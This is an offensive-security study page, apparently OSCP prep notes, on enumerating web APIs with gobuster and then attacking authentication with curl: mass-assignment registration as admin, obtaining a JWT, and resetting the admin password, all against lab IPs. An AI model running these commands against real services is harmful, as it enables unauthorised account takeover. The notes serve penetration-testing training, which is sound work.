Howlsec
HOWLSEC
offensive security
// notes/ Web Exploitation
🔌

API Enumeration

Fuzz versioned API endpoints, then attack auth — register, escalate to admin, and forge/replay JWTs.

#web#api#jwt#gobuster#swagger
source · airouboss/oscp-prep-notes-2026 · web/api-enumeration.md ↗

API Enumeration

APIs commonly live on ports 3000, 5000–5999, 8000–8999, 9000–9999. Fuzz for versioned endpoints, then attack auth: register a user, escalate to admin, or forge/replay JWTs.

Fuzz versioned endpoints

Use a pattern file so {GOBUSTER} expands against a wordlist with version suffixes.

🐺 howlsec@kali
$# pattern
${GOBUSTER}/v1
${GOBUSTER}/v2
${GOBUSTER}/latest
${GOBUSTER}/dev
${GOBUSTER}/test
$ 
$gobuster dir -u http://192.168.188.16:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern
$curl http://192.168.217.16:5002/books/v1
$ 
$# Drill into a discovered path
$gobuster dir -u http://192.168.50.16:5002/users/v1/admin/ -w /usr/share/wordlists/dirb/small.txt
$curl -i http://192.168.50.16:5002/users/v1/admin/password
$curl -i http://192.168.50.16:5002/users/v1/login

Attack authentication

🐺 howlsec@kali
$# Login (JSON body)
$curl -d '{"password":"fake","username":"admin"}' -H 'Content-Type: application/json' http://192.168.50.16:5002/users/v1/login
$ 
$# Register, then try mass-assignment of admin
$curl -d '{"password":"lab","username":"offsecadmin"}' -H 'Content-Type: application/json' http://192.168.50.16:5002/users/v1/register
$curl -d '{"password":"lab","username":"offsec","email":"pwn@offsec.com","admin":"True"}' -H 'Content-Type: application/json' http://192.168.50.16:5002/users/v1/register
$ 
$# Login as the new user to grab a JWT
$curl -d '{"password":"lab","username":"offsec"}' -H 'Content-Type: application/json' http://192.168.50.16:5002/users/v1/login
$ 
$# Use the token to change the admin password
$curl 'http://192.168.50.16:5002/users/v1/admin/password' \
$  -H 'Content-Type: application/json' \
$  -H 'Authorization: OAuth <JWT>' \
$  -d '{"password": "pwned"}'
$ 
$# Some endpoints require PUT instead of POST
$curl -X 'PUT' 'http://192.168.50.16:5002/users/v1/admin/password' \
$  -H 'Content-Type: application/json' \
$  -H 'Authorization: OAuth <JWT>' \
$  -d '{"password": "pwned"}'

Broader pattern file

Cover api/, rest/, v1–v5, docs (swagger, openapi, redoc), health (status, metrics, ping), and extensions (.json, .yaml) — prepend/append {GOBUSTER} for each. Swagger/OpenAPI docs are gold: they list every endpoint and its parameters.